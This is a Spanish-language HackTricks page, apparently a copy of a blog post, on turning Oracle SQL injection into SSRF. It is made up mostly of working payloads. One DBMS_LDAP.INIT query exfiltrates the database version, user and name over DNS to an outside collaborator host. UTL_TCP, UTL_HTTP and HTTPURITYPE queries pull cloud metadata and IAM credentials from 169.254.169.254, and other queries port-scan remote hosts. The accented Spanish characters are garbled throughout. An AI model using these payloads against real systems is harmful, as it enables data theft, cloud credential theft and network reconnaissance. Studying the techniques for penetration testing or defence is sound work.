Oracle injection

Reading time: 7 minutes

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Sirve esta publicaci贸n una copia de la m谩quina del tiempo del post eliminado de https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.

SSRF

Usar Oracle para hacer solicitudes HTTP y DNS fuera de banda est谩 bien documentado, pero como un medio para exfiltrar datos SQL en inyecciones. Siempre podemos modificar estas t茅cnicas/funciones para hacer otros SSRF/XSPA.

Instalar Oracle puede ser realmente doloroso, especialmente si deseas configurar una instancia r谩pida para probar comandos. Mi amigo y colega en Appsecco, Abhisek Datta, me se帽al贸 https://github.com/MaksymBilenko/docker-oracle-12c que me permiti贸 configurar una instancia en una m谩quina Ubuntu t2.large de AWS y Docker.

Ejecut茅 el comando docker con la bandera --network="host" para poder imitar Oracle como una instalaci贸n nativa con acceso completo a la red, durante el transcurso de esta publicaci贸n del blog.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

Paquetes de Oracle que soportan una especificaci贸n de URL o un Nombre de Host/N煤mero de Puerto

Para encontrar paquetes y funciones que soporten una especificaci贸n de host y puerto, realic茅 una b煤squeda en Google en la Documentaci贸n en L铆nea de Oracle Database. Espec铆ficamente,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

La b煤squeda devolvi贸 los siguientes resultados (no todos se pueden usar para realizar conexiones de red salientes)

  • DBMS_NETWORK_ACL_ADMIN
  • UTL_SMTP
  • DBMS_XDB
  • DBMS_SCHEDULER
  • DBMS_XDB_CONFIG
  • DBMS_AQ
  • UTL_MAIL
  • DBMS_AQELM
  • DBMS_NETWORK_ACL_UTILITY
  • DBMS_MGD_ID_UTL
  • UTL_TCP
  • DBMS_MGWADM
  • DBMS_STREAMS_ADM
  • UTL_HTTP

Esta b煤squeda rudimentaria obviamente omite paquetes como DBMS_LDAP (que permite pasar un nombre de host y un n煤mero de puerto) ya que la p谩gina de documentaci贸n simplemente te dirige a una ubicaci贸n diferente. Por lo tanto, puede haber otros paquetes de Oracle que se pueden abusar para hacer solicitudes salientes que podr铆a haber pasado por alto.

En cualquier caso, echemos un vistazo a algunos de los paquetes que hemos descubierto y enumerado arriba.

DBMS_LDAP.INIT

El paquete DBMS_LDAP permite el acceso a datos desde servidores LDAP. La funci贸n init() inicializa una sesi贸n con un servidor LDAP y toma un nombre de host y un n煤mero de puerto como argumento.

Esta funci贸n ha sido documentada anteriormente para mostrar la exfiltraci贸n de datos a trav茅s de DNS, como se muestra a continuaci贸n.

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

Sin embargo, dado que la funci贸n acepta un nombre de host y un n煤mero de puerto como argumentos, puedes usar esto para funcionar como un esc谩ner de puertos tambi茅n.

Aqu铆 hay algunos ejemplos

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

Un ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. muestra que el puerto est谩 cerrado mientras que un valor de sesi贸n indica que el puerto est谩 abierto.

UTL_SMTP

El paquete UTL_SMTP est谩 dise帽ado para enviar correos electr贸nicos a trav茅s de SMTP. El ejemplo proporcionado en el sitio de documentaci贸n de Oracle muestra c贸mo puedes usar este paquete para enviar un correo electr贸nico. Para nosotros, sin embargo, lo interesante es la capacidad de proporcionar una especificaci贸n de host y puerto.

A continuaci贸n se muestra un ejemplo rudimentario con la funci贸n UTL_SMTP.OPEN_CONNECTION, con un tiempo de espera de 2 segundos.

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

Un ORA-29276: transfer timeout muestra que el puerto est谩 abierto pero no se estableci贸 una conexi贸n SMTP, mientras que un ORA-29278: SMTP transient error: 421 Service not available muestra que el puerto est谩 cerrado.

UTL_TCP

El paquete UTL_TCP y sus procedimientos y funciones permiten comunicaci贸n basada en TCP/IP con servicios. Si se programa para un servicio espec铆fico, este paquete puede convertirse f谩cilmente en una forma de acceder a la red o realizar solicitudes completas del lado del servidor, ya que se pueden controlar todos los aspectos de una conexi贸n TCP/IP.

El ejemplo en el sitio de documentaci贸n de Oracle muestra c贸mo puedes usar este paquete para hacer una conexi贸n TCP en bruto para obtener una p谩gina web. Podemos simplificarlo un poco m谩s y usarlo para hacer solicitudes a la instancia de metadatos, por ejemplo, o a un servicio TCP/IP arbitrario.

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

Interesantemente, debido a la capacidad de crear solicitudes TCP en bruto, este paquete tambi茅n se puede utilizar para consultar el servicio de metadatos de la instancia de todos los proveedores de la nube, ya que el tipo de m茅todo y los encabezados adicionales se pueden pasar dentro de la solicitud TCP.

UTL_HTTP y Solicitudes Web

Quiz谩s la t茅cnica m谩s com煤n y ampliamente documentada en cada tutorial de Inyecci贸n SQL Oracle Fuera de Banda es el paquete UTL_HTTP. Este paquete est谩 definido por la documentaci贸n como - El paquete UTL_HTTP realiza llamadas al Protocolo de Transferencia de Hipertexto (HTTP) desde SQL y PL/SQL. Puede usarlo para acceder a datos en Internet a trav茅s de HTTP.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

Tambi茅n podr铆as usar esto para realizar un escaneo de puertos rudimentario con consultas como

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

Un ORA-12541: TNS:no listener o un TNS:operation timed out es una se帽al de que el puerto TCP est谩 cerrado, mientras que un ORA-29263: HTTP protocol error o datos son una se帽al de que el puerto est谩 abierto.

Otro paquete que he utilizado en el pasado con 茅xito variable es el GETCLOB() m茅todo del tipo abstracto HTTPURITYPE de Oracle que te permite interactuar con una URL y proporciona soporte para el protocolo HTTP. El m茅todo GETCLOB() se utiliza para obtener la respuesta GET de una URL como un tipo de dato CLOB.[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks